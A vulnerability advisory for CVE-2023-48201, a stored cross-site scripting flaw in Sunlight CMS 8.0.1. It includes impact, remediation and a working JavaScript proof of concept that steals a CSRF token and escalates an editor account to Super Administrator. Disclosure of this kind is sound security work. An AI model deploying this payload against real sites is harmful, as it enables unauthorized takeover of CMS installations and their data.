Mechaneus Security Research and Bug Hunting

View on GitHub

CVE-2023-48201: Stored Cross-Site Scripting (XSS) in Create/Edit Article function in Sunlight CMS 8.0.1

https://github.com/sunlight-cms/sunlight-cms

Vulnerability Type

CWE-79: Cross-site Scripting (XSS) - Stored

CVSS 5.4 MEDIUM

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Description

A user that is in the ‘Editors’ group or any group that can create and edit Articles, is able to inject malicious Javascript code to the ‘Content’ text editor. After the Article is approved and an Administrator or Super Administrator views the Article, the malicious code is executed.

Execution steps

  1. Create the new user ‘editor1’ and add it to the group ‘Editors’.
  2. Create an article as the user ‘editor1’.
  3. Approve the Article as a Super Administrator.
  4. Inject the malicious code in the article as user ‘editor1’.
  5. View the Article as Super Administrator.
  6. Verify that the user ‘editor1’ is added to the ‘Super Administrators’ group.

Impact

Stored Cross-Site Scripting vulnerability in Sunlight CMS 8.0.1 allows an authenticated low-privileged user to escalate his privileges. A malicious user that is in the ‘Moderators’ group or any group that can create/edit Articles can escalate his privileges to any higher level group, including Administrators and Super Administrators without being authorized. The malicious user can then create, edit and delete any content in the CMS, create/edit/delete users with any privilege and read the database using the backup functionality.

Remediation

Sanitize Article content before inserting it in the database.

Proof of Concept code

Add the article text in HTML and then add the following code:

<script>
/* Get a CSRF token from the change account form and use it to escalate a user to Super Admin */
var csrf_token;
var xhrGET_users_edit = new XMLHttpRequest();
xhrGET_users_edit.responseType = "document";
xhrGET_users_edit.onreadystatechange = function() {
	if (this.readyState == 4 && this.status == 200) {
		// Typical action to be performed when the document is ready:
		var doc = this.responseXML ;
		csrf_token = doc.getElementsByName("_security_token")[0].value;
		//console.log(csrf_token);
        
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/sunlight\/admin\/index.php?p=users-edit&id=editor1", true);
        xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded");
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");
        xhr.withCredentials = true;
        var body = "username=editor1&publicname=editor1&email=editor1%40test.tk&password=&group_id=1&wysiwyg=1&public=1&note=&_security_token="+csrf_token;
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
            aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
	}
};
xhrGET_users_edit.open("GET", "/admin/index.php?p=users-edit&id=editor1", true);
xhrGET_users_edit.send();
</script>

References